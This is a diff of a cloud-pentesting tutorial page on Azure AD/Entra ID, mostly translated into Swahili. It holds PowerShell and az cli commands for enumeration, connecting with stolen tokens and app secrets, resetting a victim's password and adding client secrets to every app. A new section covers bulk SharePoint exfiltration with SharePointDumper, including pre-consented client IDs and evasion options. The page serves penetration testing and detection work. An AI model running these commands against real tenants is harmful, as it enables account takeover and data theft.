diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 549a886b2..08bc7435d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Taarifa za Msingi -Azure Active Directory (Azure AD) inatoa huduma ya Microsoft ya msingi ya wingu kwa usimamizi wa utambulisho na ufikiaji. Ni muhimu katika kuwezesha wafanyakazi kuingia na kupata rasilimali, ndani na nje ya shirika, ikiwa ni pamoja na Microsoft 365, lango la Azure, na maombi mengine mengi ya SaaS. Muundo wa Azure AD unalenga kutoa huduma muhimu za utambulisho, ikiwa ni pamoja na **uthibitishaji, ruhusa, na usimamizi wa watumiaji**. +Azure Active Directory (Azure AD) inahudumu kama huduma ya Microsoft inayotegemea wingu kwa usimamizi wa utambulisho na upatikanaji. Inasaidia wafanyakazi kuingia na kupata rasilimali, ndani na nje ya shirika, ikijumuisha Microsoft 365, Azure portal, na idadi kubwa ya matumizi mengine ya SaaS. Ubunifu wa Azure AD unaweka mkazo katika kutoa huduma muhimu za utambulisho, hasa zikiwemo **uthibitishaji, idhini, na usimamizi wa watumiaji**. -Vipengele muhimu vya Azure AD vinajumuisha **uthibitishaji wa hatua nyingi** na **ufikiaji wa masharti**, pamoja na uunganisho usio na mshono na huduma nyingine za usalama za Microsoft. Vipengele hivi vinainua usalama wa utambulisho wa watumiaji na kuweza kuwezesha mashirika kutekeleza na kutekeleza sera zao za ufikiaji kwa ufanisi. Kama sehemu ya msingi ya mfumo wa huduma za wingu za Microsoft, Azure AD ni muhimu kwa usimamizi wa utambulisho wa watumiaji kwa msingi wa wingu. +Vipengele muhimu vya Azure AD vinajumuisha **uthibitishaji wa hatua nyingi** na **ufikiaji wa masharti**, pamoja na uunganishaji usio na mshono na huduma nyingine za usalama za Microsoft. Vipengele hivi vinaboresha kwa kiasi kikubwa usalama wa utambulisho wa watumiaji na kuziwezesha taasisi kutekeleza na kuimarisha sera zao za upatikanaji kwa ufanisi. Kama sehemu ya msingi ya mfumo wa huduma za wingu za Microsoft, Azure AD ni muhimu kwa usimamizi wa utambulisho wa watumiaji unaofanywa kwenye wingu. -## Enumeration +## Uorodheshaji -### **Connection** +### **Muunganisho** {{#tabs }} {{#tab name="az cli" }} @@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds # Connect with access token Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken] +# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token) # Connect with Service principal/enterprise app secret $password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force @@ -184,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Wakati unapo **ingia** kupitia **CLI** kwenye Azure kwa programu yoyote, unatumia **Azure Application** kutoka **tenant** inayomilikiwa na **Microsoft**. Programu hizi, kama zile unazoweza kuunda kwenye akaunti yako, **zina client id**. **Hutaweza kuona zote** katika **orodha za programu zilizoruhusiwa** unazoweza kuona kwenye console, **lakini zinaruhusiwa kwa default**. +Unapofanya **login** kupitia **CLI** kwenye Azure kwa programu yoyote, unatumia **Azure Application** kutoka kwa **tenant** inayomilikiwa na **Microsoft**. Applications hizi, kama zile unazoweza kuunda kwenye akaunti yako, **zina client id**. **Hutaweza kuona zote** katika **orodha za programu zilizoruhusiwa** unazoweza kuona kwenye console, **lakini zinaruhusiwa kwa chaguo-msingi**. -Kwa mfano, **powershell script** inayofanya **uthibitisho** inatumia programu yenye client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Hata kama programu hiyo haitappear kwenye console, sysadmin anaweza **kuzuia programu hiyo** ili watumiaji wasiweze kufikia kwa kutumia zana zinazounganisha kupitia programu hiyo. +Kwa mfano **powershell script** ambayo **inathibitisha** inatumia app yenye client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Hata kama app haionekani kwenye console, sysadmin anaweza **kuzuia application hiyo** ili watumiaji wasiweze kufikia kwa kutumia zana zinazounganisha kupitia App hiyo. -Hata hivyo, kuna **client-ids nyingine** za programu ambazo **zitakuruhusu kuungana na Azure**: +Walakini, kuna **client-ids nyingine** za applications ambazo **zitakuruhusu kuungana na Azure**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -213,7 +214,7 @@ $token = Invoke-Authorize -Credential $credential ` -Verbose -Debug ` -InformationAction Continue ``` -### Wapangaji +### Tenanti {{#tabs }} {{#tab name="az cli" }} @@ -226,7 +227,7 @@ az account tenant list ### Watumiaji -Kwa maelezo zaidi kuhusu watumiaji wa Entra ID angalia: +Kwa habari zaidi kuhusu watumiaji wa Entra ID angalia: {{#ref}} ../az-basic-information/ @@ -357,23 +358,23 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtab }} {{#endtabs }} -#### Badilisha Nywila ya Mtumiaji +#### Badilisha Nenosiri la Mtumiaji ```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA & Sera za Ufikiaji wa Masharti +### MFA na Sera za Conditional Access -Inapendekezwa sana kuongeza MFA kwa kila mtumiaji, hata hivyo, baadhi ya kampuni hazitaweka au zinaweza kuziweka kwa Ufikiaji wa Masharti: Mtumiaji atakuwa **na hitaji la MFA ikiwa** ataingia kutoka eneo fulani, kivinjari au **hali fulani**. Sera hizi, ikiwa hazijawekwa vizuri zinaweza kuwa na uwezekano wa **kuepukwa**. Angalia: +Inashauriwa sana kuongeza MFA kwa kila mtumiaji, hata hivyo, baadhi ya kampuni hazitai kuisanidi au zinaweza kuiweka kwa Conditional Access: Mtumiaji atakuwa na **MFA itahitajika ikiwa** ataingia kutoka eneo maalumu, kivinjari au **hali fulani**. Sera hizi, ikiwa hazitapangwa vizuri, zinaweza kuwa nyeti kwa **bypasses**. Angalia: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Makundi +### Vikundi -Kwa maelezo zaidi kuhusu makundi ya Entra ID angalia: +Kwa maelezo zaidi kuhusu vikundi za Entra ID angalia: {{#ref}} ../az-basic-information/ @@ -487,16 +488,16 @@ Wamiliki wa kundi wanaweza kuongeza watumiaji wapya kwenye kundi Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Makundi yanaweza kuwa ya kidinamik, ambayo kimsingi inamaanisha kwamba **ikiwa mtumiaji atatimiza masharti fulani atajumuishwa katika kundi**. Bila shaka, ikiwa masharti yanategemea **sifa** ambazo **mtumiaji** anaweza **kudhibiti**, anaweza kutumia kipengele hiki vibaya ili **kuingia katika makundi mengine**.\ -> Angalia jinsi ya kutumia vibaya makundi ya kidinamik katika ukurasa ufuatao: +> Makundi yanaweza kuwa dynamic, ambayo kwa kawaida inamaanisha kwamba **ikiwa mtumiaji atakidhi vigezo fulani ataongezwa kwenye kundi**. Bila shaka, ikiwa vigezo vinategemea **sifa** ambazo **mtumiaji** anaweza **kudhibiti**, anaweza kutumia vibaya kipengele hiki ili **kuingia kwenye makundi mengine**.\ +> Angalia jinsi ya kutumia vibaya dynamic groups kwenye ukurasa ufuatao: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -### Wawakilishi wa Huduma +### Service Principals -Kwa maelezo zaidi kuhusu wawakilishi wa huduma za Entra ID angalia: +Kwa maelezo zaidi kuhusu Entra ID service principals angalia: {{#ref}} ../az-basic-information/ @@ -597,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> Mmiliki wa Huduma Kuu anaweza kubadilisha nenosiri lake. +> Owner wa Service Principal anaweza kubadilisha nywila yake.
-Orodha na jaribu kuongeza siri ya mteja kwenye kila Programu ya Biashara +Orodhesha na jaribu kuongeza client secret kwenye kila Enterprise App ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -706,18 +707,18 @@ Write-Output "Failed to Enumerate the Applications." ```
-### Maombi +### Programu -Kwa maelezo zaidi kuhusu Maombi angalia: +Kwa maelezo zaidi kuhusu Programu angalia: {{#ref}} ../az-basic-information/ {{#endref}} -Wakati programu inaundwa aina 2 za ruhusa zinatolewa: +Wakati App inapotengenezwa, aina mbili za ruhusa hutolewa: -- **Ruhusa** zinazotolewa kwa **Huduma Kiongozi** -- **Ruhusa** ambazo **programu** inaweza kuwa nazo na kutumia kwa **niaba ya mtumiaji**. +- **Ruhusa** zinazotolewa kwa **Service Principal** +- **Ruhusa** ambazo **app** inaweza kuwa nazo na kutumia kwa **niaba ya mtumiaji**. {{#tabs }} {{#tab name="az cli" }} @@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92 # Get Cloud Applications Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members" +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` {{#endtab }} @@ -792,17 +820,17 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> Programu yenye ruhusa **`AppRoleAssignment.ReadWrite`** inaweza **kuinua hadhi kuwa Global Admin** kwa kujipatia nafasi hiyo.\ -> Kwa maelezo zaidi [**angalia hii**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). +> App yenye ruhusa **`AppRoleAssignment.ReadWrite`** inaweza **kufikia Global Admin** kwa kujipa mwenyewe jukumu hilo.\ +> Kwa maelezo zaidi [**angalia hapa**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Mfuatano wa siri ambao programu inatumia kuthibitisha utambulisho wake wakati wa kuomba token ni nenosiri la programu.\ -> Hivyo, ukipata **nenosiri** hili unaweza kuingia kama **service principal** **ndani** ya **tenant**.\ -> Kumbuka kwamba nenosiri hili linaonekana tu wakati linapotengenezwa (unaweza kulibadilisha lakini huwezi kulipata tena).\ -> **Mmiliki** wa **programu** anaweza **kuongeza nenosiri** kwake (hivyo anaweza kujifanya kuwa yeye).\ -> Kuingia kama service principals hawa **hakuonyeshwi kama hatari** na hawatakuwa na MFA.** +> Mstari wa siri ambao application hutumia kuthibitisha utambulisho wake wakati wa kuomba token ni password ya application.\ +> Kwa hiyo, ukipata **password** hii unaweza kupata ufikiaji kama **service principal** **ndani** ya **tenant**.\ +> Kumbuka kwamba password hii inaonekana tu wakati imeundwa (unaweza kuibadilisha lakini huwezi kuipata tena).\ +> **mmiliki** wa **application** anaweza **kuongeza password** kwake (hivyo anaweza kuitumia kuigiza).\ +> Kuingia kama service principals hizi **hazitawekwa kama hatari** na **hawata kuwa na MFA.** -Inawezekana kupata orodha ya App IDs zinazotumika mara kwa mara ambazo ni za Microsoft katika [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +Inawezekana kupata orodha ya App IDs zinazotumika mara kwa mara ambazo zinamilikiwa na Microsoft katika [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities @@ -822,9 +850,9 @@ az identity list --output table {{#endtab }} {{#endtabs }} -### Majukumu ya Azure +### Roli za Azure -Kwa maelezo zaidi kuhusu majukumu ya Azure angalia: +Kwa taarifa zaidi kuhusu roli za Azure angalia: {{#ref}} ../az-basic-information/ @@ -909,9 +937,9 @@ Headers = @{ {{#endtab }} {{#endtabs }} -### Entra ID Roles +### Majukumu ya Entra ID -Kwa maelezo zaidi kuhusu Azure roles angalia: +Kwa maelezo zaidi kuhusu vyeo vya Azure angalia: {{#ref}} ../az-basic-information/ @@ -1032,8 +1060,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Ikiwa kifaa (VM) kime **unganishwa na AzureAD**, watumiaji kutoka AzureAD wataweza **kuingia**.\ -> Zaidi ya hayo, ikiwa mtumiaji aliyeingia ni **Mmiliki** wa kifaa, atakuwa **meneja wa ndani**. +> Ikiwa kifaa (VM) kimeunganishwa na **AzureAD**, watumiaji kutoka AzureAD wataweza **ingia**.\ +> Zaidi ya hayo, ikiwa mtumiaji aliyeingia ni **Owner** wa kifaa, atakuwa **local admin**. ### Vitengo vya Utawala @@ -1072,6 +1100,53 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} +## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper) + +Washambuliaji wenye **delegated Microsoft Graph token** ambayo inajumuisha **`Sites.Read.All`** au **`Sites.ReadWrite.All`** wanaweza kuorodhesha **sites/drives/items** kupitia Graph na kisha **kutoa yaliyomo ya faili** kupitia **SharePoint pre-authentication download URLs** (URLs za muda mfupi zenye token ya ufikiaji iliyojengwa ndani). Skripti ya [SharePointDumper](https://github.com/zh54321/SharePointDumper) inaendesha mchakato wote kiotomatiki (enumeration → pre-auth downloads) na hutolewa telemetry kwa kila ombi kwa ajili ya upimaji wa utambuzi. + +### Kupata delegated token zinazoweza kutumika + +- SharePointDumper yenyewe **haitoi uthibitisho**; toa access token (kwa hiari refresh token). +- Wateja wa upande wa kwanza waliokubaliwa mapema (Pre-consented) wanaweza kutumika kutengeneza Graph token bila kujiandikisha app. Mfano wa miito ya `Invoke-Auth` (kutoka kwa [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): +```powershell +# CAE requested by default; yields long-lived (~24h) access token +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE) + +# Other pre-consented clients +Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE) +Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE) +Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE) +Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) +``` +> [!NOTE] +> Wateja wa FOCI TRUE wanaunga mkono refresh kwenye vifaa; wateja wa FOCI FALSE mara nyingi wanahitaji `-Origin` ili kukidhi reply URL origin validation. + +### Kuendesha SharePointDumper kwa enumeration + exfiltration + +- Dump ya msingi na custom UA / proxy / throttling: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' +``` +- Udhibiti wa wigo: jumuisha/ondoa tovuti au nyongeza na vikwazo vya kimataifa: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 +``` +- **Endesha tena** utekelezaji uliyokatizwa (hupitia tena lakini inaruka vitu vilivyopakuliwa): +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant +``` +- **Kusasisha token moja kwa moja kwa HTTP 401** (inahitaji EntraTokenAid imepakiwa): +```powershell +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' +``` +Operational notes: + +- Inapendelea **CAE-enabled** tokens ili kuepuka kumalizika katikati ya utekelezaji; jaribio za refresh hazirekodiwi katika API log ya zana. +- Inazalisha logi za maombi za **CSV/JSON** kwa **Graph + SharePoint** na kwa chaguo-msingi huficha tokeni za download za SharePoint zilizojumuishwa (zinaweza kubadilishwa). +- Inasaidia **custom User-Agent**, **HTTP proxy**, ucheleweshaji kwa kila ombi + jitter, na kuzima kwa usalama kwa **Ctrl+C** kwa ajili ya kuunda mtiririko wa trafiki wakati wa majaribio ya detection/IR. + ## Entra ID Privilege Escalation {{#ref}} @@ -1084,29 +1159,29 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Defensive Mechanisms +## Vifaa vya Ulinzi ### Privileged Identity Management (PIM) -Privileged Identity Management (PIM) katika Azure inasaidia **kuzuia mamlaka kupita kiasi** kutolewa kwa watumiaji bila sababu. +Privileged Identity Management (PIM) katika Azure husaidia kuzuia utoaji wa vibali kupita kiasi kwa watumiaji bila sababu. -Moja ya sifa kuu zinazotolewa na PIM ni kwamba inaruhusu kutokutoa majukumu kwa wakuu ambao wako hai kila wakati, lakini kuwafanya **kuwa na haki kwa kipindi fulani (mfano miezi 6)**. Kisha, kila wakati mtumiaji anapotaka kuanzisha jukumu hilo, anahitaji kuomba akionyesha muda anahitaji mamlaka (mfano masaa 3). Kisha **meneja anahitaji kuidhinisha** ombi hilo.\ -Kumbuka kwamba mtumiaji pia ataweza kuomba **kupanua** muda. +Moja ya vipengele kuu vinavyotolewa na PIM ni kwamba inaruhusu kutokutoa majukumu kwa principals ambao wamo kila wakati, bali kuwafanya wawe **eligible kwa kipindi fulani (km. 6 months)**. Kisha, wakati wowote mtumiaji anapotaka kuamsha jukumu hilo, anahitaji kuomba kwa kuonyesha muda anaohitaji kibali hicho (km. saa 3). Kisha **admin anahitaji kuidhinisha** ombi hilo.\ +Kumbuka mtumiaji pia ataweza kuomba **kuongeza** muda. -Zaidi ya hayo, **PIM inatuma barua pepe** kila wakati jukumu la kipaumbele linapopewa mtu. +Zaidi ya hayo, **PIM hutuma barua pepe** kila wakati jukumu lenye hadhi ya juu linapowekwa kwa mtu.
-Wakati PIM imewezeshwa, inawezekana kuweka kila jukumu na mahitaji fulani kama: +Wakati PIM imewezeshwa inawezekana kusanidi kila jukumu kwa mahitaji fulani kama: -- Muda wa juu (masaa) wa kuanzishwa -- Hitaji la MFA wakati wa kuanzishwa -- Hitaji la muktadha wa uthibitishaji wa Upatikanaji wa Masharti -- Hitaji la uhalalishaji wakati wa kuanzishwa -- Hitaji la taarifa ya tiketi wakati wa kuanzishwa -- Hitaji la idhini ili kuanzisha -- Muda wa juu wa kuisha kwa majukumu yanayostahiki -- Mengi zaidi ya usanidi kuhusu wakati na nani wa kutuma arifa wakati vitendo fulani vinapotokea na jukumu hilo +- Muda wa juu (saa) wa uanzishaji +- Inahitaji **MFA** wakati wa uanzishaji +- Inahitaji **Conditional Access authentication context** +- Inahitaji sababu/maelezo wakati wa uanzishaji +- Inahitaji taarifa za tiketi wakati wa uanzishaji +- Inahitaji idhini ili kuuamsha +- Muda wa juu kabla uteuzi ulio eligible hautoweka +- Usanidi zaidi kuhusu lini na kwa nani kutuma arifa wakati vitendo fulani vinapotokea na jukumu hilo ### Conditional Access Policies @@ -1118,28 +1193,30 @@ Angalia: ### Entra Identity Protection -Entra Identity Protection ni huduma ya usalama inayoruhusu **kubaini wakati mtumiaji au kuingia kuna hatari kubwa** ili kukubaliwa, ikiruhusu **kuzuia** mtumiaji au jaribio la kuingia. +Entra Identity Protection ni huduma ya usalama inayoruhusu **kubaini wakati mtumiaji au jaribio la sign-in ni hatari sana** kukubaliwa, na kuruhusu **kuzuia** mtumiaji au jaribio la kuingia. -Inaruhusu meneja kuiseti ili **kuzuia** majaribio wakati hatari ni "Chini na juu", "Kati na juu" au "Juu". Ingawa, kwa kawaida ime **zimwa** kabisa: +Inamruhusu admin kuisanidi ili **kuzuia** jaribio wakati hatari iko "Low and above", "Medium and above" au "High". Hata hivyo, kwa chaguo-msingi imezimwa kabisa:
> [!TIP] -> Sasa hivi inashauriwa kuongeza vizuizi hivi kupitia sera za Upatikanaji wa Masharti ambapo inawezekana kuweka chaguo sawa. +> Sasa hivi inashauriwa kuongeza vikwazo hivi kupitia Conditional Access policies ambapo inawezekana kusanidi chaguzi sawa. ### Entra Password Protection -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ni kipengele cha usalama ambacho **kinasaidia kuzuia matumizi mabaya ya nywila dhaifu kwa kufunga akaunti wakati majaribio kadhaa yasiyofanikiwa ya kuingia yanapotokea**.\ -Inaruhusu pia **kufungia orodha ya nywila maalum** ambayo unahitaji kutoa. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ni kipengele cha usalama kinachosadia **kuzuia matumizi mabaya ya nywila dhaifu kwa kufunga akaunti wakati majaribio kadhaa ya kuingia yaliyoshindwa yanapotokea**.\ +Pia inaruhusu **kupiga marufuku orodha ya nywila maalum** ambayo lazima utoe. -Inaweza **kutumika kwa kiwango cha wingu na kwenye Active Directory ya ndani**. +Inaweza kutumika **katika ngazi ya cloud na pia** katika Active Directory ya on-premises. -Njia ya kawaida ni **Ukaguzi**: +Hali ya chaguo-msingi ni **Audit**:
-## References +## Marejeleo - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) +- [SharePointDumper](https://github.com/zh54321/SharePointDumper) +- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid) {{#include ../../../banners/hacktricks-training.md}}